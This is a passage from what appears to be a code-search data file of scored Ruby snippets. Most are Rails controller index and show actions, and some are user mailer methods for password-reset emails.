"docid": "015183616c213fe8a0739b8c1a30708f",
"score": "0.5398208",
"text": "def show\n @open_home = @habitat.open_homes.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @open_home.to_xml }\n end\n end",
"title": ""
},
{
"docid": "8c79fe796e99a1f528181e7a6dd13982",
"score": "0.5395204",
"text": "def show\n @hackathon = Hackathon.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hackathon }\n end\n end",
"title": ""
},
{
"docid": "42aed079b4845b576eec1fc9eff64aa0",
"score": "0.53939956",
"text": "def show\n @traffic_alarm = TrafficAlarm.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @traffic_alarm }\n end\n end",
"title": ""
},
{
"docid": "8d73182e824e576455f259e49e108c63",
"score": "0.53937614",
"text": "def index\n @statistics = Statistic.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @statistics }\n end\n end",
"title": ""
},
{
"docid": "163196befbd72c8875e8caf0aac29c40",
"score": "0.53923494",
"text": "def index\n @histories = History.all_by_user(current_user).order_by_happened_at\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @histories }\n end\n end",
"title": ""
},
{
"docid": "5545d664c5914eac52c6b85e5f5b6c49",
"score": "0.53865916",
"text": "def get_habitats\n service=params[:service] || \"\"\n if service != \"\"\n web_service_response(Habitat.all)\n end\n end",
"title": ""
},
{
"docid": "454d735607d79f88669744b80a453dc7",
"score": "0.53836226",
"text": "def show\n @sushi = Sushi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @sushi }\n end\n end",
"title": ""
},
{
"docid": "9ae9d40798fb714c587761517e522fec",
"score": "0.5383265",
"text": "def show\n @haiku_search = HaikuSearch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @haiku_search }\n end\n end",
"title": ""
},
{
"docid": "7496c168d00784c444f4d1eab57dfc62",
"score": "0.53820586",
"text": "def show\n @welcome = Welcome.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @welcome }\n end\n end",
"title": ""
},
{
"docid": "9fa6821632fc2b98734cc704ff1c6929",
"score": "0.53731775",
"text": "def show\n @opensong = Opensong.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @opensong }\n end\n end",
"title": ""
},
{
"docid": "bc1e9e28d9becf9dc996309856908b1a",
"score": "0.53709775",
"text": "def show\n @hollyday = Hollyday.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hollyday }\n end\n end",
"title": ""
},
{
"docid": "cc00c50ddf5d77b45e5c8bab1fee9e78",
"score": "0.53705466",
"text": "def index\n @hounds = Hound.all\n respond_with @hounds\n\n# respond_to do |format|\n# format.html # index.html.erb\n# format.xml { render :xml => @hounds }\n# end\n end",
"title": ""
},
{
"docid": "66e55edbac1b7e166270b9ff246893fa",
"score": "0.536924",
"text": "def show\n @hours = Hours.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hours }\n end\n end",
"title": ""
},
{
"docid": "bb7654c0ea417abd728d8723a5c5ee37",
"score": "0.53676814",
"text": "def index\n @simplayers = Simplayer.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @simplayers }\n end\n end",
"title": ""
},
{
"docid": "b0fdc2a443d0dffa7741558759c6ff76",
"score": "0.5366399",
"text": "def index\n @shien_keikakus = ShienKeikaku.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @shien_keikakus }\n end\n end",
"title": ""
},
{
"docid": "737f9a37293e39d04cc47cad65af42cb",
"score": "0.53642905",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @talk }\n end\n end",
"title": ""
},
{
"docid": "8d3438703dfc4c22a0960002aec0b157",
"score": "0.5362913",
"text": "def index\n @horaries = Horary.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @horaries }\n end\n end",
"title": ""
},
{
"docid": "b504fb532cc72edd7f025ea5640f83f4",
"score": "0.53617334",
"text": "def show\n @traffic_packet = TrafficPacket.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @traffic_packet }\n end\n end",
"title": ""
},
{
"docid": "e6edfc8aa1204d8a7da592a1e26d20eb",
"score": "0.53607726",
"text": "def show\n @talk = Talk.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @talk }\n end\n end",
"title": ""
},
{
"docid": "e6edfc8aa1204d8a7da592a1e26d20eb",
"score": "0.53607726",
"text": "def show\n @talk = Talk.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @talk }\n end\n end",
"title": ""
},
{
"docid": "d8f1704b86c441b0cfd8aabbd5a27c6d",
"score": "0.5355362",
"text": "def show \n @hora = Hora.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @hora }\n end\n end",
"title": ""
},
{
"docid": "e37dc0caa0331187693b1fe638bd5da3",
"score": "0.5354396",
"text": "def show\n @loom = Loom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @loom }\n end\n end",
"title": ""
},
{
"docid": "5040c34efce07273bf5b33a74a419330",
"score": "0.53525996",
"text": "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @chats }\n end\n end",
"title": ""
},
{
"docid": "038f3246b07c06435e1fbb0d7f1745fa",
"score": "0.53520554",
"text": "def read(id=nil)\r\n\t\trequest = Net::HTTP.new(@uri.host, @uri.port)\r\n\r\n\t\tif id.nil?\r\n\t\t\tresponse = request.get(\"#{@uri.path}.xml\")\r\n\t\telse\r\n\t\t\tresponse = request.get(\"#{uri.path}/#{id}.xml\")\r\n\t\tend\r\n\r\n\t\tresponse.body\r\n\tend",
"title": ""
},
{
"docid": "231e60a7215229acedac5be269347a77",
"score": "0.53501755",
"text": "def show\n @hound = Hound.find(params[:id])\n respond_with @hound\n\n# respond_to do |format|\n# format.html # show.html.erb\n# format.xml { render :xml => @hound }\n# end\n end",
"title": ""
},
{
"docid": "4b8e05658f012e95f1849d61bd7e97c3",
"score": "0.5349192",
"text": "def index\n @has = Ha.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @has }\n end\n end",
"title": ""
},
{
"docid": "da6ba48d549910fec18c5c85671bf8f3",
"score": "0.5347917",
"text": "def get\n response = Net::HTTP.start(host) do |http|\n query = build_signed_query\n http.get(\"/onca/xml?#{query}\")\n end\n\n Response.new(response)\n end",
"title": ""
},
{
"docid": "950108b629ac99bfa099e2f8318ada3c",
"score": "0.53447264",
"text": "def show\n @silicashiplot = Silicashiplot.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @silicashiplot }\n end\n end",
"title": ""
},
{
"docid": "fa44550a237acee51250dc9e30a40347",
"score": "0.53341717",
"text": "def show\n @histoire = Histoire.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @histoire }\n end\n end",
"title": ""
},
{
"docid": "5a7d741cce59a2eafd2dff90a3e137e8",
"score": "0.53317696",
"text": "def show\n @helicopter = Helicopter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @helicopter }\n end\n end",
"title": ""
},
{
"docid": "b054496766136eafa48525cf9178e53c",
"score": "0.53303486",
"text": "def index\n @open_homes = @habitat.open_homes.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @open_homes.to_xml }\n end\n end",
"title": ""
},
{
"docid": "ff2b9be113976dbb9b73df2c2f7fd4bd",
"score": "0.53294367",
"text": "def index\n @brokers = @habitat.brokers.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @brokers.to_xml }\n end\n end",
"title": ""
}
] |
26192092bc99cde5baf969cb2697708b | Subject can be set in your I18n file at config/locales/en.yml with the following lookup: en.user_mailer.password_reset.subject | [
{
"docid": "79afb72bf56822d513a9c96df0b7ed6a",
"score": "0.61936116",
"text": "def password_reset(user)\n @user = user\n mail to: user.username, subject: \"Umedoc Password Reset\"\n end",
"title": ""
}
] | [
{
"docid": "a4d71fab88f218109eb04432736a8fb8",
"score": "0.6847792",
"text": "def password_reset(user)\n @user = user\n mail :to => user.email, :subject => I18n.t(\"reset_password\")\n end",
"title": ""
},
{
"docid": "5c49df176c0d8b63b317043e3510b06b",
"score": "0.6811161",
"text": "def forgot_password(user)\n setup_email(user)\n subject \"Password Reset\"\n end",
"title": ""
},
{
"docid": "778191bf4265233252452c0170aeff85",
"score": "0.6743567",
"text": "def reset_password(user)\n @recipients = user.email\n @from = \"#{Site.current.email}\"\n @body [\"name\"] = user.login\n @subject = 'Your password has been reset'\n end",
"title": ""
},
{
"docid": "2f2df066fb9cdec29ff6d64e3ba73a78",
"score": "0.67034006",
"text": "def password_reset_notice (email, accounts)\n @from = Bolt::Config.email_from\n @recipients = email\n @subject = \"Reset your password for #{Bolt::Config.application_name}\"\n @body = {:accounts => accounts}\n end",
"title": ""
},
{
"docid": "f88ce5d7aca9a41a22b4857ad5c13749",
"score": "0.667996",
"text": "def notify_password_reset!\n with_user_locale do\n reset_single_access_token!\n UserMailer.password_reset(self).deliver!\n end\n end",
"title": ""
},
{
"docid": "b66cc811f865f67c34371a9356027927",
"score": "0.6636797",
"text": "def reset_password_email(user)\n @user = User.find user.id\n @url = edit_password_reset_url(@user.reset_password_token)\n mail(to: user.email,\n subject: \"[Fjord Bootcamp] #{I18n.t(\"your_password_has_been_reset\")}\")\n end",
"title": ""
},
{
"docid": "89fee23fbcdc294771274b42a8f3a5e8",
"score": "0.65923536",
"text": "def password_reset_mail(user)\n subject \"Password Reset Instructions\"\n from \"sender_email_id@test.com\"\n recipients user\n content_type \"text/html\"\n sent_on Time.now\n body \"RESET your Password\"\n end",
"title": ""
},
{
"docid": "89cd8bc92412abe012c3071768c65beb",
"score": "0.6572514",
"text": "def reset_password_email(user)\n @user = user\n @password_reset_url = edit_password_reset_url(user.reset_password_token)\n mail to: user.email, subject: \"Reset your VCDelta.org password\"\n end",
"title": ""
},
{
"docid": "ef27f3bd3b0ca06dc1ace2079677a395",
"score": "0.6554156",
"text": "def password_reset(user)\n mail_to user, password_reset_subject\n end",
"title": ""
},
{
"docid": "b96af7031f0041ab8c83692aa21c2d65",
"score": "0.65073377",
"text": "def subject\n @mail.subject\n end",
"title": ""
},
{
"docid": "40fb622a43743fc984cbe8a2ff2617e3",
"score": "0.6480957",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Återställning av ditt lösenord på Biblion.\"\n end",
"title": ""
},
{
"docid": "7e36dfb55bc363e97ec60ec7a716fcaa",
"score": "0.64693576",
"text": "def reset_password_email(user)\n @user = user\n @url = edit_password_reset_url(@user.reset_password_token)\n @subject = \"[#{SITE_NAME}] Password reset request\"\n mail(bcc: @user.email, subject: @subject)\n end",
"title": ""
},
{
"docid": "1b753f10b336a500338de770d8bf274d",
"score": "0.6456036",
"text": "def reset_password_email(user)\n @user = User.find(user.id)\n @url = edit_password_reset_url(@user.reset_password_token)\n mail(:to => user.email,\n :subject => \"パスワードリセットのご案内\")\n end",
"title": ""
},
{
"docid": "b6f4b031ed7b6a6d5dfa7c1de05d0edb",
"score": "0.6449797",
"text": "def reset_password_email\n UserMailer.reset_password_email(User.first)\n end",
"title": ""
},
{
"docid": "63f782131a271163fff5fcf26434a34e",
"score": "0.6441507",
"text": "def password_reset(user)\n @user = user\n\n mail to: user.email, subject: t(:mailer_user_password_reset_subject)\n end",
"title": ""
},
{
"docid": "249e7c3ce72515985a038a799bd5d4f3",
"score": "0.6410659",
"text": "def password_reset(user)\n @user = user\n mail :to => user.email#, :subject => t(\"Password_Reset\")\n end",
"title": ""
},
{
"docid": "c10c28f5ede72c493837c401fd149038",
"score": "0.640921",
"text": "def get_email_subject(email_type)\n email_subject = email_type\n case(email_type)\n when \"welcome\"\n email_subject = \"Welcome to Aspera Files\"\n when \"reset\"\n email_subject = \"Password Reset\"\n end\n return email_subject\n end",
"title": ""
},
{
"docid": "ad071d6c229bdd849fadf58a4a083db3",
"score": "0.6402868",
"text": "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end",
"title": ""
},
{
"docid": "8780eaf874a22b8575f2c8ae110d8df9",
"score": "0.63984996",
"text": "def message_subject=(value)\n @message_subject = value\n end",
"title": ""
},
{
"docid": "6d57859e25b3fac6ddfa299b51492592",
"score": "0.63880104",
"text": "def password_reset( user )\n @user = user\n mail( to: @user.email, subject: 'Restablecer contraseña Happitch' )\n end",
"title": ""
},
{
"docid": "e02b52e7d648e6cbd6506ee3fa1f695f",
"score": "0.63861823",
"text": "def password_reset(teacher)\n @teacher = teacher\n mail to: teacher.email, subject: \"Password reset\"\n end",
"title": ""
},
{
"docid": "a081976746494bbddb550849c6e6cf2e",
"score": "0.63791823",
"text": "def subject\n self['subject'] || msg['subject']\n end",
"title": ""
},
{
"docid": "573ef75f60444813d29ace09164c2af0",
"score": "0.6342578",
"text": "def reset_password\n [send_email(MailPart.new_subject(I18n.t('devise.mailer.reset_password_instructions.subject')),\n nil,\n MailPart.new_body(''),\n EmailStuff::TYPES[:reset_password],\n reset_pass_call),\n @candidate_mailer_text.token]\n end",
"title": ""
},
{
"docid": "b2b8b7ec62fdce28fce2d13055b6ad9d",
"score": "0.6337313",
"text": "def reset_notification(user)\n\t\tsetup_email(user)\n\t\tsubject self.site_name+\" : \"+I18n.t('mailer.reset_notification.subject')\n\t\tbody :url => self.daurl+\"/admin/reset_password/#{user.password_reset_code}\",\n\t\t\t:user_login => user.login,\n\t\t\t:site => self.site_name\n end",
"title": ""
},
{
"docid": "9156db726e034189d3557f9a003748fd",
"score": "0.63291794",
"text": "def student_password_reset\n StudentMailer.student_password_reset\n end",
"title": ""
},
{
"docid": "87161814f98bfdab21f8385c8709bfdc",
"score": "0.63248587",
"text": "def reset_password_instructions(resource, token, _options)\n @resource = resource\n @token = token\n mail(\n to: resource.email,\n subject: ['¿Solicitaste un cambio de contraseña en tus servicios de ',\n 'GurúComm?'].join('')\n )\n end",
"title": ""
},
{
"docid": "a66e92b4c02a13bb6e6f888a5ab6c26f",
"score": "0.6316453",
"text": "def send_password_reset_email\r\n UserMailer.password_reset(self).deliver!\r\n end",
"title": ""
},
{
"docid": "c9a55e168455e148efe4e5016c775adb",
"score": "0.63150257",
"text": "def password_reset\n UserMailMailer.password_reset\n end",
"title": ""
},
{
"docid": "9acee739df921631b8ddd8d74815e190",
"score": "0.6315",
"text": "def password_reset(user)\n @user = user\n\n mail :to => user.email, :subject => t(:password_recover)\n end",
"title": ""
},
{
"docid": "912a77d32c7c004d020596270cae0c0c",
"score": "0.63127697",
"text": "def password_reset\n AccountMailer.password_reset\n end",
"title": ""
},
{
"docid": "703df72b6a4f10915f3db094db4ffe22",
"score": "0.63100624",
"text": "def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "703df72b6a4f10915f3db094db4ffe22",
"score": "0.63100624",
"text": "def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "703df72b6a4f10915f3db094db4ffe22",
"score": "0.63100624",
"text": "def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "703df72b6a4f10915f3db094db4ffe22",
"score": "0.63100624",
"text": "def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "703df72b6a4f10915f3db094db4ffe22",
"score": "0.63100624",
"text": "def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "703df72b6a4f10915f3db094db4ffe22",
"score": "0.63100624",
"text": "def send_password_reset_email\n UserMailer.password_reset(self).deliver\n end",
"title": ""
},
{
"docid": "32569602b3f40917a09a55a2398741e5",
"score": "0.6308942",
"text": "def reset_password(user)\n setup_email(user)\n subject \"Password reset link\"\n\n body :user => user, :host => FROM_HOST\n end",
"title": ""
},
{
"docid": "44d4f726ddfff995dcd65a68912ec47e",
"score": "0.6301065",
"text": "def reset_password_email\n @greeting = \"Hi\"\n\n mail to: \"to@example.org\"\n end",
"title": ""
},
{
"docid": "07af6a4687a8a88857c0859f085322a0",
"score": "0.629145",
"text": "def reset_password_instructions(user)\n @resource = user\n mail(:to => @resource.email,\n :subject => \"Reset password instructions\",\n :tag => 'password-reset',\n :content_type => \"text/html\") do |format|\n format.html { render \"devise/mailer/reset_password_instructions\" }\n end\n end",
"title": ""
},
{
"docid": "84daa29168e8b9526810e95c2a48dbd0",
"score": "0.6290517",
"text": "def email_welcome_and_pass\r\nold_gt = I18n.locale\r\nI18n.locale = self.language unless self.language.blank?\r\nUserMailer.deliver_account_infos(self, @password) # Uniq time with decoded password\r\nI18n.locale = old_gt\r\nend",
"title": ""
},
{
"docid": "6bba6b0e29e449327299b49843f05fb9",
"score": "0.6284044",
"text": "def send_password_reset_email\n \t\tUserMailer.password_reset(self).deliver_now\n \tend",
"title": ""
},
{
"docid": "294844e7d9209e08dcf96a09417b4224",
"score": "0.6282159",
"text": "def reset_password(user, reset_link)\r\n recipients user.email\r\n from system_email(reset_link)\r\n subject \"#{subject_prefix}Forgotton Password\"\r\n body :user => user, :reset_link => reset_link\r\n end",
"title": ""
},
{
"docid": "2809fb6fbc32df25c8f9ac041c0ba932",
"score": "0.6280235",
"text": "def password_reset(user)\n @user=user\n mail(:to=>@user.email,:subject=>\"Hey there! Thanks for using instaprint\")\n#mail (:to=>@user.email,:from=>'basics.aki@gmail.com',:subject=>\"Please find the password reset instructions\")\n end",
"title": ""
},
{
"docid": "ead22a0fe2ed171ac5a20a55bc471479",
"score": "0.62754637",
"text": "def password_reset(user)\n @user = user\n # missing \"from: \"norply@example.com\"\" -> error\n mail to: user.email, subject: \"Password reset\"\n end",
"title": ""
},
{
"docid": "f51920675814aabc9438a625d48b7a10",
"score": "0.6274613",
"text": "def password_reset(user)\n @user = user\n mail :to => user.email, :subject => \"Password reset for Project Help\"\n end",
"title": ""
},
{
"docid": "b432e01c1c140f6b86dc4b68b9a04239",
"score": "0.6268611",
"text": "def password_reset\n #@greeting = \"Pershendetje\"\n\n #mail to: \"to@example.org\"\n end",
"title": ""
},
{
"docid": "937eab6dc402ba40a9ec371589669147",
"score": "0.6264849",
"text": "def subject\n @options.fetch(:subject) { \"Invitation\" }\n end",
"title": ""
},
{
"docid": "918888d4b53f0c9631a4224310a3a332",
"score": "0.62587124",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset for TechScreen.net\"\n end",
"title": ""
},
{
"docid": "101181ccedd19606b587b73e0d412055",
"score": "0.62571955",
"text": "def send_password_reset_email\n \t\tUserMailer.password_reset(self).deliver_now\n \tend",
"title": ""
},
{
"docid": "fe60ba06f4615ffe52abca30852a3fe1",
"score": "0.62561077",
"text": "def password_reset\n UserMailer.password_reset\n end",
"title": ""
},
{
"docid": "fe60ba06f4615ffe52abca30852a3fe1",
"score": "0.62561077",
"text": "def password_reset\n UserMailer.password_reset\n end",
"title": ""
},
{
"docid": "fe60ba06f4615ffe52abca30852a3fe1",
"score": "0.62561077",
"text": "def password_reset\n UserMailer.password_reset\n end",
"title": ""
},
{
"docid": "20df65b2b955b425aa84acb470231150",
"score": "0.6238732",
"text": "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"title": ""
},
{
"docid": "16b98686cb622c643f37b0fa31426e7c",
"score": "0.6238471",
"text": "def password_reset(user)\n @user = user\n mail(:to => user.email, :subject => \"Password Reset\", :from => 'bassoonfingeringfinder@gmail.com') \n \n end",
"title": ""
},
{
"docid": "20df65b2b955b425aa84acb470231150",
"score": "0.6237769",
"text": "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"title": ""
},
{
"docid": "5b80a3ad8ace61be3de54a2535be5e5d",
"score": "0.6234744",
"text": "def send_password_reset_email\n\t UserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "f7f0603c11ccd9394f6dbc6b3a647cfe",
"score": "0.6233249",
"text": "def password_reset(user)\n #@greeting = \"Hi\"\n @user = user\n #mail to: user.email, subject: \"Password Reset\"\n mail to: user.email, subject: 'Welcome to Project Quest!'\n end",
"title": ""
},
{
"docid": "da465b0d0f4e5f1fa622d65072ee5ff5",
"score": "0.623289",
"text": "def password_reset(user)\n @user = user\n\n mail to: user.email, subject: 'Password Reset Instructions for Application'\n end",
"title": ""
},
{
"docid": "1b26cae96067a5e6718a60f8697fddce",
"score": "0.62306744",
"text": "def password_reset\n MailerMailer.password_reset\n end",
"title": ""
},
{
"docid": "5a958a502dc32d5dde3462f9d6361a78",
"score": "0.6227928",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset\"\n end",
"title": ""
},
{
"docid": "f3c6c5e6185dd926ede5b19d88f3b473",
"score": "0.6227382",
"text": "def subject (recipient)\n subject_variables = alert_variables[:subject].dup\n subject_variables.merge!(recipient_details(recipient))\n subject = \"#{I18n.t(\"#{recipient_type.to_s}_subject_#{alert_name.to_s}\", subject_variables)}\"\n subject\n end",
"title": ""
},
{
"docid": "0e8035effb13f3052ce92b775eff8c72",
"score": "0.6226166",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset [Delfy]\", from: \"Delfy <noreply@delfy.us>\"\n end",
"title": ""
},
{
"docid": "741925250c25829716275d92206cf7ed",
"score": "0.62092113",
"text": "def send_password_reset_email\n\t UserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "741b39f1c6649a9c164db21ac05d0b98",
"score": "0.62028825",
"text": "def send_password_reset_email\n \tUserMailer.password_reset(self).deliver_now\n end",
"title": ""
},
{
"docid": "f73488274d9b229a8d2ae00189bd4116",
"score": "0.6200016",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset\"\n end",
"title": ""
},
{
"docid": "f73488274d9b229a8d2ae00189bd4116",
"score": "0.6200016",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset\"\n end",
"title": ""
},
{
"docid": "f73488274d9b229a8d2ae00189bd4116",
"score": "0.6200016",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset\"\n end",
"title": ""
},
{
"docid": "f73488274d9b229a8d2ae00189bd4116",
"score": "0.6200016",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset\"\n end",
"title": ""
},
{
"docid": "f73488274d9b229a8d2ae00189bd4116",
"score": "0.6200016",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password reset\"\n end",
"title": ""
},
{
"docid": "6add424d74f7fbf99bccacead0104564",
"score": "0.61921805",
"text": "def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "6add424d74f7fbf99bccacead0104564",
"score": "0.61921805",
"text": "def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "6add424d74f7fbf99bccacead0104564",
"score": "0.61921805",
"text": "def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "6add424d74f7fbf99bccacead0104564",
"score": "0.61921805",
"text": "def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "6add424d74f7fbf99bccacead0104564",
"score": "0.61921805",
"text": "def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "6add424d74f7fbf99bccacead0104564",
"score": "0.61921805",
"text": "def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "6add424d74f7fbf99bccacead0104564",
"score": "0.61921805",
"text": "def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "6add424d74f7fbf99bccacead0104564",
"score": "0.61921805",
"text": "def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "6add424d74f7fbf99bccacead0104564",
"score": "0.61921805",
"text": "def send_password_reset_email\n\t\tUserMailer.password_reset(self).deliver_now\n\tend",
"title": ""
},
{
"docid": "381d05d9b9abed219b47f5901ab95277",
"score": "0.6189175",
"text": "def send_password_reset_mail\n UserMailer.password_reset(self).deliver_now\n end",
"title": ""
},
{
"docid": "827eec9044bdf82d4ff4f3fabb3ccb16",
"score": "0.61873907",
"text": "def reset_password_instructions(user)\n @user = user\n setup_mail(:reset_password_instructions, :headers => {:to => @user.email})\n end",
"title": ""
},
{
"docid": "73c7de6a2c0acb112f9e16635d1f5ada",
"score": "0.61859816",
"text": "def send_password_reset_email\r\n UserMailer.password_reset(self).deliver_now\r\n end",
"title": ""
},
{
"docid": "204b69b8a21eae6128636fcbf881e6a5",
"score": "0.6181036",
"text": "def subject\n @subject ||= Envelope::MessageTools.normalize(message.subject || '')\n end",
"title": ""
},
{
"docid": "d82937c4c1cc57921864ccbd6751518c",
"score": "0.6179902",
"text": "def send_password_reset_email\r\n UserMailer.password_reset(self).deliver_now\r\n end",
"title": ""
},
{
"docid": "d82937c4c1cc57921864ccbd6751518c",
"score": "0.6179902",
"text": "def send_password_reset_email\r\n UserMailer.password_reset(self).deliver_now\r\n end",
"title": ""
},
{
"docid": "d948016ba436f2a029e144fb82bf4d90",
"score": "0.6175641",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: \"Password Reset\"\n end",
"title": ""
},
{
"docid": "e3a4d8ca9645960b0be7774b87e20c62",
"score": "0.6175126",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, :subject => \"Password Reset\"\n end",
"title": ""
},
{
"docid": "9bd7c5cc1eb749b8d73ac07f9fd2a975",
"score": "0.61734456",
"text": "def password_reset(user)\n @user = user\n mail to: user.email, subject: 'Password reset'\n # @greeting = \"Hi\"\n # mail to: \"to@example.org\"\n end",
"title": ""
},
{
"docid": "7d91353ae9bf2aa7c23397e2461f7804",
"score": "0.61706376",
"text": "def reset_password\n @user = User.last\n @user.password_reset_token = \"12345\"\n @user.password_reset_sent_at = Time.zone.now\n mail = UserMailer.reset_password(@user)\n end",
"title": ""
},
{
"docid": "1f9447b115254d4a28f9b152a9d55b39",
"score": "0.61686754",
"text": "def send_password_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"title": ""
},
{
"docid": "998901594800e389ec7dd2bbe7dff314",
"score": "0.61659163",
"text": "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"title": ""
},
{
"docid": "998901594800e389ec7dd2bbe7dff314",
"score": "0.6164563",
"text": "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end",
"title": ""
},
{
"docid": "2270296c2588c46db89b87d2fe7ea583",
"score": "0.6160904",
"text": "def reset_password_email(user)\n @user = user\n @url = edit_forgot_password_url(user.reset_password_token)\n mail(to: user.email,\n subject: \"Your ClosetGroupie password has been reset\")\n end",
"title": ""
},
{
"docid": "0b48bdef14b04b09ad0ac39c950352e0",
"score": "0.61589676",
"text": "def password_reset(user)\n @user = user\n\n mail to: user.email, subject: \"Password Reset\"\n end",
"title": ""
},
{
"docid": "65251edfb64c83aae62806ad20fdff97",
"score": "0.61588615",
"text": "def send_password_reset_email\n PasswordResetMailer.password_reset_email(self).deliver\n end",
"title": ""
},
{
"docid": "e5d6563277767f2fa3920d4c7dc210a9",
"score": "0.61529183",
"text": "def send_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"title": ""
},
{
"docid": "e5d6563277767f2fa3920d4c7dc210a9",
"score": "0.61529183",
"text": "def send_reset_email\n UserMailer.password_reset(self).deliver_now\n end",
"title": ""
},
{
"docid": "eba00cc822db436dc6235330f971468b",
"score": "0.6149357",
"text": "def forgot_password(user)\n @recipients = user.email\n @from = \"#{Site.current.email}\"\n @subject = 'Request to change your password'\n @body [\"name\"] = user.login\n @body[\"url\"] = \"http://#{Site.current.domain}/reset_password/#{user.reset_password_code}\" \n end",
"title": ""
},
{
"docid": "5173417cc10e7cb32e81014074257fb7",
"score": "0.614676",
"text": "def send_password_reset_email\n UserMailer.password_reset(self.class.name.to_s.downcase.pluralize, self).deliver_now\n logger.info \"email: admin password reset sent to #{email}\"\n end",
"title": ""
},
{
"docid": "d38b03b02a7f681c2764ff61cde8b023",
"score": "0.61467046",
"text": "def send_password_reset_email\n UserMailer.reset_senha(self).deliver_now\n end",
"title": ""
},
{
"docid": "3bb0d3bd717c20b62d1b28a7b81522ea",
"score": "0.61449635",
"text": "def password_reset\n PenggunaMailer.password_reset\n end",
"title": ""
}
] |
810ee16cf4f6d8803c2e50620476df5c | Scan takes a buffer and an offset of where this buffer starts in the source | [
{
"docid": "51bf88165ff477f457836f196c2c1211",
"score": "0.6495189",
